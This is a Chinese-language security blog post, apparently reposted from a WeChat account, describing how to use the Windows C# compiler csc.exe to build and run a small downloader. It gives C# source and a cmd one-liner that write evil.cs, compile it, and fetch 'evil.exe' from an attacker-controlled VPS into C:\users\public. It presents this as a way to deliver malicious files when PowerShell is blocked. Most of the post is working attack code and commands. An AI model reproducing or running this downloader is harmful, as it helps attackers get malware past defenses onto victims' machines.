【权限维持技术】Windows 利用C#编译器远程下载

admin 2024年2月10日01:29:46评论13 views字数 1358阅读4分31秒阅读模式

C#编译器

C#(C-Sharp)是微软开发的一种编程语言,用于.NET框架。当C#代码被编译时,csc.exe(C#编译器)会将源代码编译成微软中间语言(Microsoft Intermediate Language,简称MSIL)文件,通常这些文件的扩展名是.dll或.exe。C#编译器(csc.exe),通常位于.NET框架的安装目录下。
csc.exe文件路径为:

C:WindowsMicrosoft.NETFramework<version>
C:WindowsMicrosoft.NETFramework64<version>

【权限维持技术】Windows 利用C#编译器远程下载

【权限维持技术】Windows 利用C#编译器远程下载

简单的C#下载器

【权限维持技术】Windows 利用C#编译器远程下载

用几行代码实现一个简单的C#下载器,源码如下:

using System.Net;

namespace downloader{    class Program    {        static void Main(string[] args)        {            WebClient client = new WebClient();            string URLAddress = @"http://192.168.1.1/evil.exe";            string Path = @"C:userspublic";            client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));        }    }}

通过cmd写到一个文本文件里:

echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @"http://192.168.1.1/evil.exe";string Path = @"C:\users\public\";client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}} > evil.cs

【权限维持技术】Windows 利用C#编译器远程下载

然后使用csc.exe编译:

C:WindowsMicrosoft.NETFrameworkvX.X.XXXXXcsc.exe evil.cs

【权限维持技术】Windows 利用C#编译器远程下载

【权限维持技术】Windows 利用C#编译器远程下载

复现

【权限维持技术】Windows 利用C#编译器远程下载
  1. 在vps上准备恶意文件,使用python打开web服务等待下载:

【权限维持技术】Windows 利用C#编译器远程下载

2. 随后修改C#源码目录:

using System.Net;

namespace downloader{    class Program    {        static void Main(string[] args)        {            WebClient client = new WebClient();            string URLAddress = @"http://vps_ip:8000/evil.exe";            string Path = @"C:userspublic";            client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));        }    }

3. 编译后执行,成功下载恶意文件

【权限维持技术】Windows 利用C#编译器远程下载

总结

【权限维持技术】Windows 利用C#编译器远程下载

本文讲述了如何利用C#编译器实现远程下载功能,可以在目标机器禁用Powershell等手段时另辟蹊径,实现恶意文件的远程下载。



原文始发于微信公众号(赛博安全狗):【权限维持技术】Windows 利用C#编译器远程下载

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月10日01:29:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【权限维持技术】Windows 利用C#编译器远程下载http://cn-sec.com/archives/2485273.html

发表评论

匿名网友 填写信息